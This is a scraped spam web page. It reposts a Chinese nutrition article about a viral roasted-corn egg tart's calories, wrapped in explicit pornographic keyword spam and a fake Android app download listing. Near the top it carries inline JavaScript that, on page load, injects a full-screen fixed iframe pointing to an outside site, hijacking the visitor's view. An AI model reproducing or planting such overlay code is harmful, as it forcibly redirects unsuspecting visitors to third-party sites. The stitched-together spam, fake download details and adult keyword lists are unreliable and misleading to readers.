首页 ›吃瓜网址›内容详情

中国青年报:糖心logo在线观看免费无忧-糖心VLOG在线观看-比黄油年糕热量还高，这个火爆全网的甜品劝你慎吃

alan 吃瓜网址 2025-04-30 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

原创 吃出工伤的 丁香生活研究

最近的甜品上新是真多，而且一个个都火的出圈。

就在一个月前，我们刚拆解过顶流甜品黄油年糕。想看的朋友戳这里：这股热潮还没过呢，烤玉米蛋挞又来了！大大小小的博主要么吃上了，要么已经复刻上了。

图源：小红书

烤玉米，好吃。蛋挞，也好吃。那把它俩组合在一起，不得好吃翻倍啦？！

研究员 cc 跟广大网友一样，光是看视频，眼泪就从嘴角不争气地流下来了，火速打开手机搜索准备下单尝尝。

一看，嚯，美味翻没翻倍还不知道，反正价格确实挺翻倍的。

本着研究到底的精神，研究员 cc 咬咬牙，怒买 4 个！

坐标杭州，我们选了两家店铺，都是小个太阳花形状的，相对便宜点。

图源：自己拍的

看着是真诱人！尝一个，首先入口的是蛋挞的酥脆和浓浓奶香，随着玉米颗粒在嘴里的爆开，玉米的清甜和香气也弥漫开来，和奶香交相呼应，留下悠长的回味。

分发给同事们，得到的普遍反馈是：好吃！吃一个好饱！

直觉告诉我们 ，这卓越的口感和香气之下，热量一定不简单。

于是研究员 cc 拿出了我们的看家本领，拆解配方 ——

蛋挞 + 玉米奶油酱 + 烤玉米

三重魔法攻击

一口热量就等于一碗饭！

—

烤玉米 + 蛋挞，听起来很简单的组合，在网上看了一圈教程后，发现它做起来其实比想象得要复杂。

简化来说的话，大概是传统蛋挞 + 自制玉米奶油酱 + 蜂蜜/白糖烤玉米。

我们请教了专业营养师，根据网上看着比较靠谱的配方，仔细算了下热量、脂肪和糖分。

图源：自己做的

配方参考自小��博主「多多妈的小厨房」

不算不知道，一算吓一跳。

一个掌心大小的太阳花玉米烤蛋挞，能量至少有 300kcal ，相当于 2 小碗米饭！

能量估算为酥皮 108kcal + 蛋挞液 85.88kcal + 玉米卡仕达酱 54.95kcal + 新鲜甜玉米 50kcal + 糖 = 298.83kcal

要知道，这个大小的蛋挞我两口就能吃完，那岂不是一口热量就是一碗饭。��

注意了，这只是小个蛋挞的热量。如果是网红款，2 个拳头大小的长方形蛋挞，能量至少 500kcal，快赶上一顿正餐的热量了！（女性每日能量摄入大概在 1800 千卡）

如果进一步推算糖和脂肪，更是让人连连扶额。

小个太阳花的，还是「低脂」配方，也就是蛋挞液和玉米酱中没有额外加黄油，每个当中脂肪 14g，吃 2 个，就相当于吃完了你一天的食用油用量。

每个蛋挞的糖含量保守估计也要 10g 左右，基本上吃 2 个，就用掉了你每日添加糖份额的一半。

相比之下，黄油年糕因为个头小，反而显得「克制」了不少。

图源：自己做的

也就是说，一个网红款玉米蛋挞的热量，能抵四个黄油年糕！！（没有叫你去吃黄油年糕的意思

离谱的是，就这，还有不少商家悄咪咪把烤玉米蛋挞包装成「低卡低糖」来售卖，不能因为有玉米这个优质食材，就让消费者觉得这个玩意儿是低卡喂！（拍桌

图源：抖音

当然了，减肥人都是明白人，已经有网友开始玩梗： 「明明为了减肥点的玉米啊，怎么自己变成甜品了。」

图源：小红书

玩笑归玩笑，减肥路上的甜品刺客，是真的太太太多了。

减肥人注意！

警惕各类起酥甜品

—

网红甜品挖到这，研究员 cc 算是醒悟了，能火起来的，好不好吃不确定，但热量基本低不了。

如果想要躲着点，除了之前说要避开「糯叽叽」类的甜点，还得要尽量避开「酥酥脆脆」类的。

吃起来酥脆的甜品，加工过程中往往都有起酥的步骤。

这个酥是怎么来的呢？请看 VCR ——

素材来自网络

想要顺利起酥，除了制作手法，最关键的就是要在面团中加入接近面团 2/3 分量的植物油或者黄油，这脂肪含量一下子就暴增了。

像西式的可颂（牛角包），千层酥等都属于这一类。一个 60g 左右的可颂，能量大约 226kcal。

中式的酥饼、酱香千层饼也是。以千层饼为例，脂肪含量大概在 25%，随便买上一份 200g，就得有个 600kcal。

当然，也不是说这些新出的甜品、好吃的甜品大家都不能吃了，关键还是那句话——控量，控量，控量。

就拿烤玉米蛋挞来说，买上一个小的，两、三个人尝尝味道，能量立减 50%，剩下的热量缺口还可以去吃其他好吃的。

大号的烤玉米蛋挞，甚至可以 4、5 个人分着尝一尝。

更加讲究（管不住嘴）的朋友，要不咱就考虑自制低热量版本的！

以下是我们请营养师给到的配方，欢迎大家转发收藏。

图源：自己做的

已经吃过烤玉米蛋挞的朋友们，你们都是花了多少钱买到的呢？觉得值得尝试吗？快来评论区聊聊吧。

合作专家 沈夏冰

国家注册营养师

科学审核 张译丰

华南农业大学食品安全硕士

内容策划 ccc

参考文献

[1]中国营养学会.中国居民膳食指南（2022）. 北京:人民卫生出版社，2022.

[2]中国疾病预防控制中心营养与健康所. 中国食物成分表标准版第6版/第一册[M].北京: 北京大学医学出版社, 2018.

监制 Feidi

封面图来源 站酷海洛

原标题：《比黄油年糕胖 4 倍！这个火爆全网的甜品劝你慎吃啊》

阅读原文

本文地址：http://hl.jiatingjiaoyuyanjiu.com/post/32154.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > 露脸操
久久亚洲精品国产亚洲老地址

综合在线观看

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载国产日韩精品一区二区在线观看安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
欧美一区2区0 k8经典网站1 自拍偷窥网2 色老板在线看3 91网蝌蚪Xx4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 日韩精品一区二区三区色欲AV
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，特一级黄色大片，做哎爱过程视频
二，三级电香港影，情欲荡乳办公室HD
三，色偷偷9999WWW，亚洲视频日本有码中文
四，日本工口里番h无遮拦，无码人妻深夜拍拍AAA片
五，国产JK白丝喷白浆精品视频，亚洲精品免费网站
六，性色香蕉AV久久久天天网，性夜影院爽黄A爽免费动漫
七，免费无码又爽又黄又刺激网站，狠狠擼Av

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
国产精品久AAAAA片，国产午夜精品久久久久九九

在线看污网站

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • 亚洲国产美女精品久久久久∴ 4天前
    电影啪啪啪
  • 边摸边吃奶做爽A片视频 7天前
    欧美伦理毛片在线看
  • 国产精品 中文字幕 亚洲 欧美 7天前
    国产1988精品A片
  • 久久人妻精品国产 6天前
    亚洲欧洲日本在线观看
  • 午夜AV亚洲一码二中文字幕青青 2天前
    强壮公弄得我次次高潮A片强视频
  • H高潮嗯啊娇喘抽搐A片男男视频 4天前
    亚洲精品偷拍的自拍的
  • 国内久久久久久久久久 5天前
    日本AAAA级毛卡片免费观看
  • 日韩精品欧美在线视频在线 4天前
    掀开短裙麻麻受孕
  • 999国产高清在线精品 4天前
    国产在线是视频有精品
  • 俄罗斯一级毛片aaaa 9天前
    乱小说录目伦合集
国产AV一区二区三区传媒
日本高清一二三区视频在线 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有